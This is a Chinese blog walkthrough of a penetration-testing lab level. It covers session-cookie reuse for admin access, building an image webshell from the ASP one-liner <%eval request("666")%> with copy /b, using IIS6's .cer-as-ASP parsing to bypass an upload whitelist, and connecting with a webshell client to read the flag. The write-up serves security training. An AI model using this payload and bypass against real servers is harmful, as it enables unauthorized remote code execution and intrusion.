封神台靶场-第五章

原创

Mr.H ● 于 2020-07-11 22:31:08 发布 ● 989 ☆ 收藏 2
 分类专栏: 封神台-第五章 文章标签: 渗透测试靶场
 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。
 本文链接: <u>https://blog.csdn.net/Mr_helloword/article/details/107291296</u>
 版权



封神台-第五章 专栏收录该内容

0篇文章0订阅 订阅专栏

第五章-进击! 拿到Web最高权限

Tips:

通过修改Cookie登录后台(没用重打) 2、上传SHELL! 3、Flag在web根目录(flag.php) 3.上传图片时建议上传小文件,我建议用QQ表情。

来到传送门提示修改cookie,这里我们想到了第四关的flag-cookie信息如下,修改cookie信息,成功进入后台。cookie:ADMINSESSIONIDCSTRCSDQ=LBMLMBCCNPFINOANFGLPCFBC

🖹 火狐官方站点 📄 火狐官方站点 🔸 新手上路 📄 常用网址 📄 常用网址 🛄 京东商城



在存储里将上面的cookie值进行修改:

	调试器 1 网络 {}样式编辑器	◎ 性能 ①:内存 😑 存储 🛉 无障碍环境 ●	HackBar			
▼	▼ 项目过滤器					
http://59.63.200.79:8005	名称	值	Domain	Path	Expires / Max-Age	大小
	ADMINSESSIONIDCSTRCSDQ	LBMLMBCCNPFINOANFGLPCFBC	59.63.200.79	1	会话	46
Indexed DB	BkGOp95780_think_template	xsser-a00d	59.63.200.79	1	Sat, 18 Jul 2020 22:36:24	35
▶ 日 本地存储	CNZZDATA1257137	xsser-g00d	59.63.200.79	/	Wed, 06 Jan 2021 01:48:5	25
	UM_distinctid	xsser-g00d	59.63.200.79	1	Tue, 05 Jan 2021 06:48:1	23

🗎 火狐官方站点 🛅 火狐官方站	点 🔞 新手上路 🛅 常用阿	外址 🗎 常用	网址 🕕 京东商城											[]移动设备上的书签
							合业团	计管理	玄统					
@管理后台	≦ ⊗						管理	央捷方式						
回到首页 退出	**	快捷功	的能链接	管理员管理	里									
系统管理	۲													
企业信息	۲						5	冻信息						
产品管理	*	用户名	5: admin				1	P: 183.1	202. 110. 12	9				
询价管理	*	身份过	过期: 30 分钟				Į	现在时间: 2020年7月11日21:47						
下载中心	*	上线次	天数: 54 9				L	上线时间:	2018-3-3	3-3-30 18:27:39				
新闻管理	S	服务器	器域名: 59.63.200.79 / 3	59. 63. 200. 7	9:8005		ß	脚本解释引擎: VBScript/5.6.8832						
留言管理	*	服务器	器软件的名称: Microsoft	-IIS/6.0			ž	刘览器版Z ecko/201	S: Mozill	a/5.0 (W	/indows NT	10.0; Win64; x64	; rv:78.0)	
2 ① 查看森 >> 控制台 C	〉 调试器 ↑↓ 网络 {} #	年式編輯器	🖓 性能 🕕 内存 📑 存储 肯 无障疑	專环境 🕘 HackBa	r									🗇 🗇 … ×
🗄 Cookie	▽ 项目过滤器											+ C 🗈	又 过诸值	
http://59.63.200.79:8005	名称		值	C	omain	Path	Expires / Max-Age	大小	HttpOnly	Secure	SameSite	最后访问	▼ 数据	
会话存储	ADMINSESSIONIDCSTR ASPSESSIONIDSCBDCDI	CSDQ DR	LBMLMBCCNPFINOANFGLPCFBC FNHNGMPBPANFMGILFPCAGOIC	5	9.63.200.79 9.63.200.79	/	会活会活	46 44	false false	false false	None None	Sat, 11 Jul 2020 13:47:31 Sat, 11 Jul 2020 13:47:31	 ADMINSESSIONIDCSTRCSD Domain: *59.63.200.79* 	Q: "LBMLMBLPCFBC
	BkGOp9578O_think_ten	nplate	xsser-g00d	5	9.63.200.79	1	Sat, 18 Jul 2020 22:5	6:24 35	false	false	None	Sat, 11 Jul 2020 13:47:31	Expires / Max-Age: "会话"	
 →48/7% 最存存後 	CNZZDATA1257137 UM_distinctid		xsser-g00d xsser-g00d	5	9.63.200.79 9.63.200.79	1 1	Wed, 06 Jan 2021 0 Tue, 05 Jan 2021 06	1:48:5 25 :48:1 23	false false	false false	None	Sat, 11 Jul 2020 13:47:31 Sat, 11 Jul 2020 13:47:31	HostOnly: true HttpOnly: false Path: "/" SameSite: "None" Secure: false	
													创建于: "Sat, 11 Jul 2020 13:4 大小:(46)://blog.csdn.ne	H:37 GMT*

根据提示信息这里我们要进行上传文件木马,获得shell,经过尝试可以在以下位置上传文件(只要能上传就好),我是在 图二位置上传的

回到百页 退出	<u></u>				产品管理			
系统管理	۲	脱胎漆	器 周	濉刻 雕塑 浮周	惟 佛像 寿山石雕刻			
企业信息	۲	产品管理] >> J	所有产品			共找到3个	产品
产品管理	∕ ⊗	选中	ID	产品编号	产品名称	加入时间	审核情况	操作
产品类别			116	32023265916	院士浮雕	2013-3-20	已审核	▶ 修改 删除
产品管理			115	32023251016	王直将军塑像收藏站点	2013-3-20	已审核	修改 删除
审核产品	3		114	32023223416	拿破仑加冕浮雕	2013-3-20	已审核	修改 删除
		□ 选中4	上页显	示的所有产品	删除选定的产品	1		
询价管理	۲			共 3	个产品 首页上一页下一页尾页页	诙: 1/1 页 20 个产品	/页	
下载中心	۲							
回到首页 退出	«			荣誉说明				
玄统管理	*							
企业信息	*			-				
产品管理	*			这种文件	类型不允许上传!			
7 山首 <u>建</u> 海价管理	*			只允许上	传这儿种文件类型: gifjipg bmp png swf doc rar cer			
下载中心	*				确定			
新闻管理	*							
留言答理	*			英文荣誉名称				
安侧管神								
客户案例管理								
Transment Menta				荣誉证书			图片地址	
人才管理	۲				确定取	消		
友情链接	۲	图	片上	传				
Web Information	«							
正在传输来自 59.63.200.79 約数据								

上传了一个php小马,发现后台做了过略,而且是白名单,想着绕过,经过抓包修改文件等等发现不行无法绕过,只能上传图片木马。

3 10 File

制作图片木马(一个asp小马,和一张图片) asp小马 <%eval request("666")%> 利用win自带命令将图片和木马合并



命令: copy xxx.asp/a + xxx.png/b xxx.png

	C:\Users\贺鹏程\Desktop\木马,	后门>copy 1.asp/a + 1.png/b 666.png	
Annual 6	1. png 己复制 1 个文件。		
2	C:\Users\贺鹏程\Desktop\木马,	后门>	
		https://blog.csdn.net/Mr_hel	lloword

查看和并后的文件木马写入成功:

kie.p	shp讼 📙 sql-libs=9. py凶 😸 sql-libs=6. py凶 😸 小马. php凶 😸 6. jpg凶 🔚 1. php凶 🗮 6. php凶 🔚 1. php凶 🔚 6. php 凶	.g <mark></mark> ×
1	<%eval request("666")%>塒NG	
2	SUB	
3	NULNUL	
4	IHDR NULNUL□NUL∩UL?ACKNULNULNUL?匫NULNULUS 獻DATx滍?□	
5	tDC4 譽?论ETBBS0ACKaESC?0Za到DC3 譨誖Zc挄躎MGSA?偾蹶湺镱6	Т
6	ETX?ACK? 匆jэ細Y臀维Vh53诮?xgwf呒EM?骶黯輜DC2ETX衬o?即5	٥v
7	U!4BELk癧堙VTǒG7 庍矻?@%; ESCT? 考6闻?莽繳蛥'^碉u?SOH螆?[]]
8	ETBiETXDC3isBS種??VT模+Cc0泉Wa鏛?G橴呀 籐?{樾ESC鈛覯7\v屠	哥
9	7{I B 抷馗?□VT\v?21ETX1NAK蓣O緧椢纹; c 萋ETB!煁- Pt鵼nV'	火
0	M孙MV?WNAK厖餧yENOISUB甕??STX, 聫N純邕;?嫺餫襀牋8崠駝蛏 即	1:
1		

上传木马, 菜刀连接:

				.::
荣誉证书	UploadFiles/2020711	22733550.png		* 图片地址
	确定	取消		
成功! 文件大小为:	8K		https://blog	g.csdn.net/Mr_helloword

在上传文件那里查看自己上传的木马文件,点看复制文件地址,菜刀连接,发现无法连接,这里是因为无法解析,这里可 以发现服务器是IIS6,百度发现iis6有解析漏洞,本题目主要是考iis6解析漏洞。iis6 可以将cer文件解析为asp,我们可以将刚才生成的666.png文件改名为.cer文件再次上传。

又称		條改日期	迷刑	*/\		o.jpg	
□ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □						0 – 🗆	×
						星期六 2020-07-11 五月廿一	
F http://59.63.200.79:8005/UploadFiles/2020711227	33550. png		666 ?? 0.0.0.0		2020-07-11 22:13:54	□ □ 站点类别 □ 默认类别	
			《 徐汝日顧 《 徐汝日顧 ○首页 □ 记事本 × +	交換 係次日額 送刑 ① 首页 已记事本 × + ■ http://59.63.200.79:8005/UploedFiles/202071122733550.png 666 ?? [0.0.0.0	交合 终边日頭 送刑 十小 □ 首页 □ 记事本 × + - - ☞ http://59.63.200.79:8005/UplowdFiles/202071122733550.png 666 ??]0.0.0.0 -	2020-07-11 22:13:54 2020-07-11 22:13:54	安全 修改日頭 送用 ナ小 OJP9 □ 首页 □ 记事本 × + - □ - □ ■ 計力: □ ご 事本 × + - □ - □ ■ 計力: ////////////////////////////////////

📕 🎫 http:	//59.63.200.79:8005/UploadFiles/20207923211297.jpg	pass		2020-07-09 23:59:43	🧾 Typel
📕 🗶 http:	://www.maicaidao.com/server.asp	c 127.0.0.1 <t>A</t>	DO <td>2020-07-09 23:50:43</td> <td></td>	2020-07-09 23:50:43	
📕 肟 http:	//www.maicaidao.com/server.aspx	() http://59.63.200.79:8005/UploadFiles/202071122733550 () 🗙	0 <td>2018-08-02 20:29:23</td> <td></td>	2018-08-02 20:29:23	
PHF http:	//www.maicaidao.com/server.php	HTTP/1.1 404 Not Found Content-Length. 1306 Content-Turge text (htm]	SQL<	2018-08-02 20:29:23	
-		Server: Microsoft-IIS/6.0 X Powered By: AST.NHT Date: Sat. 11 Tul 2020 21:46:20			
•					
□菜刀@	20160620@caidao.conf			https:	//blog.csdn.net///0.默认类别(5)

				.15
荣誉证书	UploadFiles/2	202071255323111	.cer	* 图片地址
		确定 取消		
上传				
-上传成功! 文件大小为:	8K		https://blog	.csdn.net/Mr_helloword

点开复制文件地址菜刀连接成功(这里需要注意菜刀连接时,脚本类型选择asp文件,):

				https://	blog.csdn.net/Mr_helloword	Ş
□ □ □ 首页 59. 63. 200. 79 × □ 59. 6	3.200.79 × +				0 - LI X	-
D:\05\			+	✓ 读取	星期六 2020-07-11 五月廿一	Ê
59.63.200.79 目录(11),文件(177)	名称	时间	大小	属性	日 🔲 站点类别	Ě
↔ C:	6 06	2020-05-12 11:34:58	0	16	□ 默认类别 □ Type1	
→/ <u>©</u> 06	🛅 admin	2018-10-18 03:06:06	0	16		臿,
i aumin i Databases i florb	🛅 Databases	2020-07-12 05:56:21	0	16		臿
images	🔁 flash	2018-10-18 02:08:25	0	16		4
di ingbly	🛅 Images	2018-10-18 02:08:50	0	16		la
pr 🗀 Inc 🗀 Menu	🗀 Ing	2018-10-18 02:08:53	0	16		销
UploadFiles	🧰 imgbly	2018-10-18 02:08:55	0	16		做
	🧰 imgbyw	2018-10-18 02:09:06	0	16		体
0	C Inc	2018-10-18 02:09:08	0	16		题
	C Menu	2019-11-22 23:59:05	0	16		序
	C UploadFiles	2020-07-12 05:56:08	0	16		売入
	200961121955569.jpg	2010-04-16 17:39:00	52720	32		>
0	· · ·			https	s://blog.csdn.net/Wr_heil0worg	入找

5.寻找flag

				H 0 140	201	
≪ C: ≪ D:		📀 editor_tsfh. htm		2013-04-07 18:15:00	37020	32
		📄 editor_ubbhelp. asp		2013-04-07 18:15:00	5564	32
H 🛄 admin 📄 Databa	ses	Error. ASP		2013-04-07 18:15:00	3313	32
ilasn inages		📄 Feedback. asp		2019-04-10 15:58:08	9656	32
illig ← :11		□ · · · · ·				

u ingoly ingbyw ing Inc Menu	FeedbackMember.asp	2013-04-07 18:15:00 10372	32
	📑 FeedbackSave. asp	2013-04-07 18:15:00 2282	32
→ UploadFiles	📑 FeedbackView.asp	2019-04-10 15:58:08 9259	32
	FLAG!.txt	2018-03-30 19:26:00 24	32
	Foot. asp	2013-04-07 18:15:00 1129	32
	GetPassword. asp	2013-04-07 18:15:00 9990	32
	Thead. asp	h2013-04-07_18-15:00 0 5041_h0	loszord

zkz{G3t_the_admin!Sh3ll}